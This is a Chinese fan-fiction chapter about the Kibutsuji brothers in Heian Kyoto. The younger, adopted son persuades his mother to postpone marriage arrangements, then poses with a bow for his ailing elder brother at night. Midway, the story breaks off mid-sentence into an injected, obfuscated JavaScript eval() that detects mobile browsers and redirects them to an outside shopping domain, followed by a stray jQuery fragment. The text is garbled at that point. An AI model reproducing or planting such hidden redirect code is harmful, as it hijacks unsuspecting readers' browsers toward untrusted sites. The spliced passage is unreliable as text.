将鬼舞辻夫人交给和弥去应付,实在是一件再正确不过的事情。
和弥拥有充足且丰富的与母亲讨价还价,撒娇卖泼,最终达成自己目的的经验。
他也不是个笨蛋,不会直接就与鬼舞辻夫人说自己不想成亲。
而是非常有计划地先出门溜达了一圈,买了几样鬼舞辻夫人较为喜欢的餐点,而后从自家的宅院之中,精心摘了一捧花,一同带去了母亲的寝殿。
鬼舞辻夫人看到自己心爱的小儿子捧着五彩缤纷、鲜艳明媚的鲜花过来,身后的侍女随从手里还带着一大堆的餐点,连日来因相看了太多适龄贵女而略有些头痛的脑袋都轻省了不少。
她嘴上抱怨着和弥怎么来她的住处都大包小包的,脸上却已经露出了掩饰不住的微笑。
和弥一贯与母亲亲近,向母亲撒娇这种事情更是从小到大不知道做了多少次的,即便如今已经是个身量高挑的少年了,在母亲面前也总能带出几分幼时才有的娇气与肆意。
他吩咐着侍女将餐点都摆到矮桌上,又亲自将手里的鲜花插入花瓶之中,转过身来坐在母亲身边,笑意盈盈地与她说话逗趣。
鬼舞辻夫人心情愉悦,没过一会儿话语间便带出了相看未婚妻的事情来。
和弥话头一顿,有那么一会儿没有说话。
他一安静下来,鬼舞辻夫人很快就发现了,疑惑地问他这是怎么了。
和弥屏退了侍女,让她们离远一些,自己则压低了声音,用一种近似说悄悄话的犹豫语调说:“母亲,我暂时还不想成婚……”
鬼舞辻夫人的眉头立刻就皱了起来,有些不悦,还未开口,又顿住了话音。
即便和弥吞吞吐吐,语焉不详,到底是自己养大的孩子,鬼舞辻夫人如何不知他心中所想?
说到底,还是因为和弥不是他们亲生的孩子,总觉得自己所拥有的一切都本该是兄长的,所以每多获取一些东西,就会对兄长生出更多的亏欠之感。
果不其然,和弥酝酿许久才道:“母亲,我已经很幸运了……反正我还年轻,娶妻之事推迟一些也无不可。”
鬼舞辻夫人叹了口气,眉眼中也带了几分忧郁。
和弥唯一没有意识到的便是,如果没有他,如果当初没有犯险留下他,鬼舞辻家的一切,她所有拥有的一切便要被旁人拿走了。
“你是一个好孩子,心地善良所以才总是觉得亏欠你的兄长。可事情并非如此,即便真有人亏欠他,那个人也不是你。这样的想法,你今后都不要再有了,叫你父亲知道,也会说你优柔寡断……”
闻言,和弥垂下了眼睛,眉尾也耷拉下来了,显出几分可怜。
鬼舞辻夫人于心不忍,沉吟再三,还是叹了口气说道:
“你的意思我已经明白了,那就过两年再为你挑选妻子吧。至于你兄长,我会选择一位福泽深厚的贵女为他……冲喜。”
和弥快速地抬了下眼。
若是按照鬼舞辻夫人的说话,无惨才不需要什么冲喜,毕竟最福泽深厚的人已经日日与他生活在一起了。
明明已经达成了此行的目的,和弥却仍是轻松不起来,过了好一会儿才将话题继续下去。
“兄长那边,也不着急娶妻吧……若只是几面之缘也就罢了,可与他长久生活在一起,怎么可能发现不了他的坏脾气呢?到时万一传出去……对名声恐怕不好。”
一说到无惨的糟糕性格,鬼舞辻夫人也是皱了下眉,顺着和弥的话思考下去,更是觉得有道理。
坏名声这种东西就像是瘟疫,一旦散播出去,就很难彻底解决掉。
无惨本人倒是无所谓,但若是牵连到和弥……
“我知道了,你啊……都说你比你的兄长脾气不知道好了多少,实际上也是个霸道的性子。”
到底是自己养大的孩子,鬼舞辻夫人隐约察觉到了和弥并不完全是为了名声着想才劝阻他为长男挑选妻子的。
她更觉得那是一种……自己没有,所以也不许兄弟拥有的任性与霸道。
不过和弥说得有道理,她也就不想再戳破他心底真正所想了。
霸道就霸道些吧,若是不霸道,日后又如何在这平安京里屹立不倒呢?
至于为无惨冲喜一事……哎,他那身体,冲不冲喜有什么区别呢。
多一事不如少一事吧。
鬼舞辻夫人摇了摇头,不想再说这些事情,指尖轻拍和弥的手臂,温声让他也尝一尝他自己买回来的餐点。
吃东西这种事情有人陪着才更尽兴,和弥了解母亲的习惯,当即也笑了起来,从善如流地转移了话题,与鬼舞辻夫人讨论起餐点来。
这天之后,鬼舞辻夫人便不再热衷于相看适龄贵女了,外出赴宴又恢复了之前的频率。
和弥这才终于完全放下心来。
待一日无惨精神头不错,坐在缘侧木廊赏景的时候,他便邀功般提及了此事。
当然,制止母亲为兄长择选妻子的事是没有说出来的。
和弥只说出了自己说服了母亲要延缓娶妻一事。
——一开始或许没有细思,但没过多久和弥就反应了过来兄长故意用那些话来刺他究竟是什么意思。兄长他,才真正是母亲口中的霸道。
无惨听了却没什么反应,连应都没应一声。
和弥不算太意外,毕竟兄长就是这样的,经常无缘无故的就不搭理人,或者突然就开始冷言冷语,习惯了就好。
他只是矮身坐在兄长身侧,望着庭院中的枯山水,渐渐放空了脑袋中的思绪,安静了下来。
他若是再在脑海中想个不停,兄长又要说他脑袋里吵了。
-
和弥本以为今天这一天又要安静地结束,没想到天色将晚之时,无惨竟又开口留他。
上一次还是近十天前的那次,夜间无惨要求看一看“健康”的模样。
和弥当然是给他看了的,只是看过之后,自己又有些不自在。
之后的两三天里刻意与兄长保持了一些距离,直到近两日才恢复过来。
他都要忘记之前那件事情了,没想到竟还有第二次。
“……那样会不会有些打扰兄长休息,不然还是算了吧。”和弥委婉地拒绝。
鬼舞辻兄弟二人之间极少有这样提出要求的对话。
和弥更是几乎不会拒绝兄长,委婉拒绝的话一出口,他就感到一阵心虚,眼神都有些飘忽了,仿佛是自己做了什么错事一样。
反而真正有可能提出离谱要求的那个人,此时一派坦坦荡荡,在和弥委婉拒绝之后,还微眯着眼睛看了过来。
这种表情就是无惨情绪不好、心情不佳时才会露出来的。
“我并不那么觉得。”他盯着和弥,眼中情绪复杂,说不上是不快还是忍耐,“我也不觉得你会那么觉得。”
如果和弥这家伙真的会那么想的话,此前就不会总是不顾无惨本人的意愿,自顾自地做些什么了。从幼时起就那样。
如今无惨主动邀请他,他居然还拿乔起来了。
和弥被说的有些语塞,一时想不到还有什么拒绝的借口,就这么稀里糊涂地留在了兄长的寝殿里。
无惨休息的时候不喜欢侍女靠得太近,是以夜幕一降临,侍女们便退了出去。
和弥刚刚洗漱回来,一见寝殿内就只剩下自己和兄长了,心跳就有些加速。
仿佛是在印证什么一样,下一瞬,帐台内传来了无惨低沉的声音。
“过来。”
别说寝殿内现在只有他们两人,就算殿内满是侍女,和弥也能分辨出无惨究竟是在叫谁。
显而易见,兄此刻就是在叫他。
和弥静立两秒,还是抬起了腿,心中已经做好了再次将夜着解下的准备。
又或者说在这近十天的时间里,他早就已经做好了这种准备……甚至还隐隐期待着些什么。
他一直想要真正地为兄长做些什么,难得兄长对他
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17825309|211231||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
有所需求,和弥求之不得。
他有时表现得想要拒绝,更多的其是觉得如果不拒绝的话才会显得很奇怪。
只有他先拒绝几次,而后再应承下来才会更加顺理成章。
毕竟从某种意义上来说,贵族总是擅长讲一些简单的事情变得无比复杂。和弥也不例外。
反倒是无惨,在这种人人复杂的环境里,竟显得直接些。
和弥踩着自己的心跳声,步入帐台内。
帐台内,一身浅色夜着的青年屈膝而坐,听到和弥进来,眉头也没抬一下,只微微扬了下下巴,示意和弥拿起自己身前的……和弓?
和弥的大脑停止思考了一瞬,然后疑问满满当当地填满了脑袋。
——为什么兄长的寝殿里会放着一把和弓?
很快,和弥的疑惑就被解答了大半。
这把和弓应该是无惨自己使人找来放在这里的,但他本人不用,而是让和弥在夜深人静之时,披着头发,穿着寝衣,弯弓射箭给他看。
寝殿内自然是不能真正射箭的,无惨要的是和弥摆出这个架势,并且是真的将弓弦给拉开到满弓,宛如有一只无形的箭抵在弓弦上似的。
和弥不解,但是照做。
他挽弓的时候,无惨就坐在侧面,目光沉如水般注视着不远处的和弥。
随着弯弓的次数增多,原本飘逸宽松的夜着也开始贴在身躯之上。
弯弓搭箭时肩背、腰腹、手臂乃至下肢都被调动了起来,这个年纪的少年身上没有过于紧实夸张的肌肉,裹在狩衣里的时候甚至会显出几分青松翠竹般的单薄。
现在丝绸质地的夜着紧贴着皮肤,那些纤长而有力的肌肉便无处遁形了,这样发力时隔着一层布料比单纯的用眼睛看更加实用。
无惨盯着和弥,眉心缓缓下压。
在看不到这些的时候,他的心中更多的是期待与渴求,然而在亲眼见到了这些之后,心底更多的却是嫉恨与愤怒。
那些喷涌的情绪此刻勉强还被压在他冰冷的面容之下。
无惨若是没有此等定力与忍耐力,过往十数年的恨与怒早就挤破了他的残躯,将他整个人吞噬殆尽了。
忽然间,无惨从跪坐的姿态站起了身。
和弥已经拉了近三十次满弓了,气息早已勉强紊乱起来,他有意留心兄长的动静,耳边更多的却是自己的呼吸声。
射箭本应该是一件专心致志的事情,和弥也一向是个足够全神贯注的人,此时却根本做不到这一点,心神有一大半都分了出去。
即便如此,在那只冰凉的手掌覆盖在他肩膀上之前,他也没有察觉到对方的靠近。
和弥身形一颤,拉到一半的弓也顿住了,悄悄侧过头,视野边缘隐约能够看到无惨的身影。
兄长的手先是轻轻地覆在他的肩膀上,而后缓缓用力按着。
力道越来越重,丝毫不减,最后几乎是狠狠地捏着,或者说掐着和弥的肩膀。
其实有点痛。
和弥微张着嘴呼吸,嘴唇已经有些发干了。
过了一会儿,肩膀上的那只手才离开,身后也传来了逐渐远去的轻微脚步声。
和弥放下和弓,转过头去,兄长已经躺下准备睡觉了。
哎。
和弥在心中叹了口气。
最近百濑兄弟的新药没有什么明显的效果,兄长病情反复,本就恶劣的心情也变得更加反复。
从上一次兄长让他留宿于此开始,和弥就能察觉到他的心绪已经不佳到了某种地步,今日看来,何止不佳,完全是糟糕透顶。
和弥看着无惨,心中慢慢地冒出了一个念头。
他心中下了决定,当下却是又去重新洗漱了一番。
等到他干净清爽,皮肤还带着湿润水汽回来的时候,无惨似乎已经睡着了,呼吸都变得绵长许多。
和弥目光坚定,躺下之后,一点犹豫都没有地侧过身,伸手探入身侧之人的衾被之下。